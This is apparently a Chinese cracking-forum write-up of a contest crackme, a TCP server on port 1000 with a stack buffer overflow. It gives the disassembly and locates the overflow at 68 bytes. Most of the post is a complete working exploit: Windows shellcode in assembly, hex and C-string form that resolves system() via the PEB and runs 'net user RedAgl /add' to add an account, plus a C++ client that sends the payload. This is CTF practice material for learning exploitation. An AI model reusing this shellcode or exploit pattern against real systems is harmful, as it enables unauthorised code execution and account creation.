好友
阅读权限20
听众
最后登录1970-1-1
|
CM是什么?Crackme是什么?这是什么东西?楼主发的什么?
他们都是一些公开给别人尝试破解的小程序,制作 Crackme 的人可能是程序员,想测试一下自己的软件保护技术,也可能是一位 Cracker,想挑战一下其它 Cracker 的破解实力,也可能是一些正在学习破解的人,自己编一些小程序给自己破解,KeyGenMe是要求别人做出它的 keygen (序号产生器), ReverseMe 要求别人把它的算法做出逆向分析, UnpackMe 是要求别人把它成功脱壳,本版块禁止回复非技术无关水贴。
本帖最后由 RedAngel丶 于 2014-1-30 13:35 编辑
【文章标题】: 简单CM分析
【文章作者】: RedAgl
【软件名称】: 2012-2013"凌码杯"信息安全大赛-逆向部分(Crackme5)
【软件大小】: 35.0KB
【下载地址】:
【保护方式】: 无
【使用工具】: IDA,OD,VC
【操作平台】: xp
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【CM截图】
【详细过程】
打开程序,用Telnet连接服务器不久后,会自动断开,很奇怪?
一.程序分析
从入口点向下看,可以看到DialogBoxParam,得到DialogFun:0x401687
进入WM_INITDIALOG获取到一些信息:
INADDR_ANY:1000
1.创建TCP套接字
如果失败则退出程序
2.绑定IP
如果失败则退出程序
3.监听,最大等待队列为5
4.创建线程进行连接操作.listen_ThreadFun:0x40147A
进入listen_ThreadFun:
1.接受连接
如果失败则延迟1000ms,再循环
2.发现断开原因了:
[C++] 纯文本查看 复制代码 .text:004014CE call accept
.text:004014D4 mov [ebp+s], eax
.text:004014D7 cmp [ebp+s], 0FFFFFFFFh
.text:004014DB jnz short loc_4014EA
.text:004014DD push 3E8h
.text:004014E2 call Sleep
.text:004014E8 jmp short loc_4014A7
.text:004014EA mov eax, [ebp+s]
.text:004014ED push eax
.text:004014EE call Operation
.text:004014F3 mov eax, [ebp+s]
.text:004014F6 push eax
.text:004014F7 call closesocket
.text:004014FD jmp short loc_4014A7
可以从上面代码看出,接受连接后并没有创建线程进行循环收发数据,而是经过Operation函数处理后直接关闭套接字
进入Operation函数:
[C++] 纯文本查看 复制代码 .text:004013DD lea eax, [ebp+var_40]
.text:004013E0 push eax
.text:004013E1 mov eax, [ebp+s]
.text:004013E4 push eax
.text:004013E5 call _recv
.text:004013EA cmp dword_405004, 1 ; 判断A
.text:004013F1 jz loc_40146F
.text:004013F7 cmp dword_405000, 0 ; 判断B
.text:004013FE jz short loc_4013DD
有二个判断,进入_recv函数:
[C++] 纯文本查看 复制代码 .text:0040135B mov [ebp+var_4], eax
.text:0040135E cmp [ebp+var_4], 0FFFFFFFFh
.text:00401362 jnz short loc_401373
.text:00401364 mov dword_405004, 1 ; 标志,无"end"字串,置1
.text:0040136E jmp loc_4013B3
.text:00401373 cmp [ebp+var_4], 1
.text:00401377 jnz loc_4013B3
.text:0040137D inc [ebp+var_8]
.text:00401380 cmp [ebp+var_8], 3
.text:00401384 jle short loc_401347
.text:00401386 push 3
.text:00401388 push offset aEnd ; "end"
.text:0040138D mov eax, [ebp+var_8]
.text:00401390 mov edx, [ebp+arg_4]
.text:00401393 lea eax, [edx+eax-3]
.text:00401397 push eax
.text:00401398 call sub_4018A0
.text:0040139D add esp, 0Ch
.text:004013A0 cmp eax, 0
.text:004013A3 jnz short loc_401347
.text:004013A5 mov dword_405000, 1 ; 标志,获取成功返回,置1
.text:004013AF jmp short loc_4013B3
从上可以得知:
[405004]置1,为没检测到"end"
[405000]置1,为获取成功返回
很直观的看出Operation函数的判断A是如没检测到"end",便直接跳出循环,关闭套接字
我们可以不管有没有"end"这个字符串,因为它已经接收数据,并且把缓冲区溢出了.....
二.定位点
可以在od中定位,本人这里用枚举的方式
从图中可以看出,在数据长度为68时出错,修改代码并用od验证下:
只要在retu处跳到要修改的位置便可
三.ShellCode编写
貌似此cm对空字符不感冒,但还是使用正常点的ShelloCode吧
思路:
1.利用PEB获取kernel32.dll基址
2.枚举kernel32.dll里的导出表,获取GetProcAddress函数地址
3.用GetProcAddress获取GetModuleHandle函数地址
4.用GetModuleHandle获取msvcrt.dll.(因为程序己加载msvcrt.dll.如果没有,请用LoadLibrary)
5.使用msvcrt.system("net user RedAgl /add")来创建受限帐户
6.怕程序异常,使用ExitProcess退出程序(好吧,暂不懂的如何平衡=. =)
ShellCode原型:
[C++] 纯文本查看 复制代码 __asm
{
push ebp;
mov ebp,esp;
sub esp,64;
xor eax,eax
mov eax,fs:[eax+0x30];
mov eax,[eax+0x0C];
mov esi,[eax+0x1C];
lodsd;
mov edi,[eax+0x08]; //kernel32.dll BaseImage
mov eax,[edi+0x3c];
mov edx,[edi+eax+0x78];
add edx,edi
mov ecx,[edx+0x18]; //导出函数总数
mov ebx,[edx+0x20]; //导出函数名称地址表RVA
add ebx,edi; //导出函数名称地址表->内存地址
s:
dec ecx;
//cmp ecx,-1;
//jle end;
mov esi,[ebx+ecx*4]; //获取函数名称RVA
add esi,edi; //获取函数名称内存地址
// GetProcAddress
mov eax,0x50746547;
cmp [esi],eax;
jne s;
mov eax,0x41636f72;
cmp [esi+4],eax;
jne s;
//循环结束
//如果找到函数名
mov ebx,[edx+0x24]; //获取函数序号RVA
add ebx,edi; //获取函数序号内存地址
mov cx,[ebx+ecx*2]; //计算出序号值
mov ebx,[edx+0x1c]; //导出函数地址表RVA
add ebx,edi; //导出函数地址表内存地址
mov eax,[ebx+ecx*4];
add eax,edi; //函数地址
//找到后地址后,现在要GetProcAddress(edi, "GetModuleHandleA")
mov dword ptr ss:[ebp-4],eax //保存GetProcAddress函数地址
xor ecx,ecx;
mov byte ptr ss:[ebp-5],cl
mov dword ptr ss:[ebp-9],0x41656C64
mov dword ptr ss:[ebp-13],0x6E614865;
mov dword ptr ss:[ebp-17],0x6C75646F;
mov dword ptr ss:[ebp-21],0x4D746547;
lea eax,[ebp-21];
push eax;
push edi;
call dword ptr ss:[ebp-4];
mov [ebp-8],eax //保存GetModuleHandleA函数地址
//GetModuleHandleA("msvcrt");
xor ecx,ecx;
mov byte ptr ss:[ebp-9],cl;
mov word ptr ss:[ebp-11],0x7472;
mov dword ptr ss:[ebp-15],0x6376736D;
lea eax,[ebp-15];
push eax;
call dword ptr ss:[ebp-8];
mov dword ptr ss:[ebp-12],eax;
//获取system函数地址:GetProcAddress([ebp-12], "system")
xor ecx,ecx;
mov byte ptr ss:[ebp-13],cl;
mov word ptr ss:[ebp-15],0x6D65;
mov dword ptr ss:[ebp-19],0x74737973;
lea eax,[ebp-19];
push eax;
push dword ptr ss:[ebp-12];
call dword ptr ss:[ebp-4];
mov dword ptr ss:[ebp-16],eax;
//system(net user RedAgl /add);
xor ecx,ecx;
mov dword ptr ss:[ebp-20],ecx;
mov dword ptr ss:[ebp-24],0x6464612F;
mov dword ptr ss:[ebp-28],0x206C6741;
mov dword ptr ss:[ebp-32],0x64655220;
mov dword ptr ss:[ebp-36],0x72657375;
mov dword ptr ss:[ebp-40],0x2074656E;
lea eax,[ebp-40];
push eax;
call dword ptr ss:[ebp-16];
end:
//获取ExitProcess函数地址.GetProcAddress(edi,"ExitProcess")
xor ecx,ecx
mov byte ptr ss:[ebp-17],cl;
mov word ptr ss:[ebp-19],0x7373;
mov byte ptr ss:[ebp-20],0x65;
mov dword ptr ss:[ebp-24],0x636F7250;
mov dword ptr ss:[ebp-28],0x74697845;
lea eax,dword ptr ss:[ebp-28];
push eax;
push edi;
call dword ptr ss:[ebp-4]
//结束进程
xor ecx,ecx
push ecx
call eax
add esp,64;
pop ebp;
ret;
ShellCode十六进制:
55 8B EC 83 EC 40 33 C0 64 8B 40 30 8B 40 0C 8B 70 1C AD 8B 78 08 8B 47 3C 8B 54 07 78 03 D7 8B
4A 18 8B 5A 20 03 DF 49 8B 34 8B 03 F7 B8 47 65 74 50 39 06 75 F1 B8 72 6F 63 41 39 46 04 75 E7
8B 5A 24 03 DF 66 8B 0C 4B 8B 5A 1C 03 DF 8B 04 8B 03 C7 36 89 45 FC 33 C9 36 88 4D FB 36 C7 45
F7 64 6C 65 41 36 C7 45 F3 65 48 61 6E 36 C7 45 EF 6F 64 75 6C 36 C7 45 EB 47 65 74 4D 8D 45 EB
50 57 36 FF 55 FC 89 45 F8 33 C9 36 88 4D F7 66 36 C7 45 F5 72 74 36 C7 45 F1 6D 73 76 63 8D 45
F1 50 36 FF 55 F8 36 89 45 F4 33 C9 36 88 4D F3 66 36 C7 45 F1 65 6D 36 C7 45 ED 73 79 73 74 8D
45 ED 50 36 FF 75 F4 36 FF 55 FC 36 89 45 F0 33 C9 36 89 4D EC 36 C7 45 E8 2F 61 64 64 36 C7 45
E4 41 67 6C 20 36 C7 45 E0 20 52 65 64 36 C7 45 DC 75 73 65 72 36 C7 45 D8 6E 65 74 20 8D 45 D8
50 36 FF 55 F0 33 C9 36 88 4D EF 66 36 C7 45 ED 73 73 36 C6 45 EC 65 36 C7 45 E8 50 72 6F 63 36
C7 45 E4 45 78 69 74 36 8D 45 E4 50 57 36 FF 55 FC 33 C9 51 FF D0 83 C4 40 5D C3
}
编写代码,测试下:
最终源码:
[C++] 纯文本查看 复制代码 #include <iostream>
#include "windows.h"
#pragma comment(lib, "ws2_32.lib")
using namespace std;
void _close(SOCKET);
char ShellCode[] =
"\x12\x45\xFA\x7F\x41\x41\x41\x41"
"\x55\x8B\xEC\x83\xEC\x40\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x78\x08\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B"
"\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7"
"\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04\x8B\x03\xC7\x36\x89\x45\xFC\x33\xC9\x36\x88\x4D\xFB\x36\xC7\x45"
"\xF7\x64\x6C\x65\x41\x36\xC7\x45\xF3\x65\x48\x61\x6E\x36\xC7\x45\xEF\x6F\x64\x75\x6C\x36\xC7\x45\xEB\x47\x65\x74\x4D\x8D\x45\xEB"
"\x50\x57\x36\xFF\x55\xFC\x89\x45\xF8\x33\xC9\x36\x88\x4D\xF7\x66\x36\xC7\x45\xF5\x72\x74\x36\xC7\x45\xF1\x6D\x73\x76\x63\x8D\x45"
"\xF1\x50\x36\xFF\x55\xF8\x36\x89\x45\xF4\x33\xC9\x36\x88\x4D\xF3\x66\x36\xC7\x45\xF1\x65\x6D\x36\xC7\x45\xED\x73\x79\x73\x74\x8D"
"\x45\xED\x50\x36\xFF\x75\xF4\x36\xFF\x55\xFC\x36\x89\x45\xF0\x33\xC9\x36\x89\x4D\xEC\x36\xC7\x45\xE8\x2F\x61\x64\x64\x36\xC7\x45"
"\xE4\x41\x67\x6C\x20\x36\xC7\x45\xE0\x20\x52\x65\x64\x36\xC7\x45\xDC\x75\x73\x65\x72\x36\xC7\x45\xD8\x6E\x65\x74\x20\x8D\x45\xD8"
"\x50\x36\xFF\x55\xF0\x33\xC9\x36\x88\x4D\xEF\x66\x36\xC7\x45\xED\x73\x73\x36\xC6\x45\xEC\x65\x36\xC7\x45\xE8\x50\x72\x6F\x63\x36"
"\xC7\x45\xE4\x45\x78\x69\x74\x36\x8D\x45\xE4\x50\x57\x36\xFF\x55\xFC\x33\xC9\x51\xFF\xD0\x83\xC4\x40\x5D\xC3"
"\x65\x6E\x64";
int main()
{
WSADATA stWSAData = {0};
sockaddr_in stSin = {0};
char buf[1024] = {0};
memset(buf, 'A', 68);
memcpy(buf+68, ShellCode, sizeof(ShellCode)-1);
stSin.sin_family = AF_INET;
stSin.sin_port = htons(1000);
stSin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
WSAStartup(0x0202, &stWSAData);
SOCKET hS = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if(hS == INVALID_SOCKET)
{
_close(hS);
system("pause");
return 0;
}
int c = connect(hS, (sockaddr *)&stSin, sizeof(stSin));
if(c == SOCKET_ERROR)
{
_close(hS);
system("pause");
return 0;
}
cout<<"-->连接服务器成功"<<endl;
send(hS, buf, sizeof(buf)-1, 0);
cout<<"-->发送成功"<<endl;
_close(hS);
system("pause");
return 0;
}
//
// 目的: 扫尾
//
void _close(SOCKET s)
{
if(s != -1)
{
closesocket(s);
}
WSACleanup();
}
--------------------------------------------------------------------------------
【经验总结】
这是我刚注册论坛时,有人发了该系统(1-5)cm,当时什么都不会,第5题更不知要干什么?经过一年的学习,现在翻出来,发
现是非常简单的.
本人认为此cm不算为测试强度,而是对初学者的练习,算练习性的cm吧
这破文算是对自己的一个鼓励
在这里祝大家新年快乐,发红包喽
--------------------------------------------------------------------------------
【版权声明】: 本文原创于RedAgl, 转载请注明作者并保持文章的完整, 谢谢!
|
免费评分
-
查看全部评分
|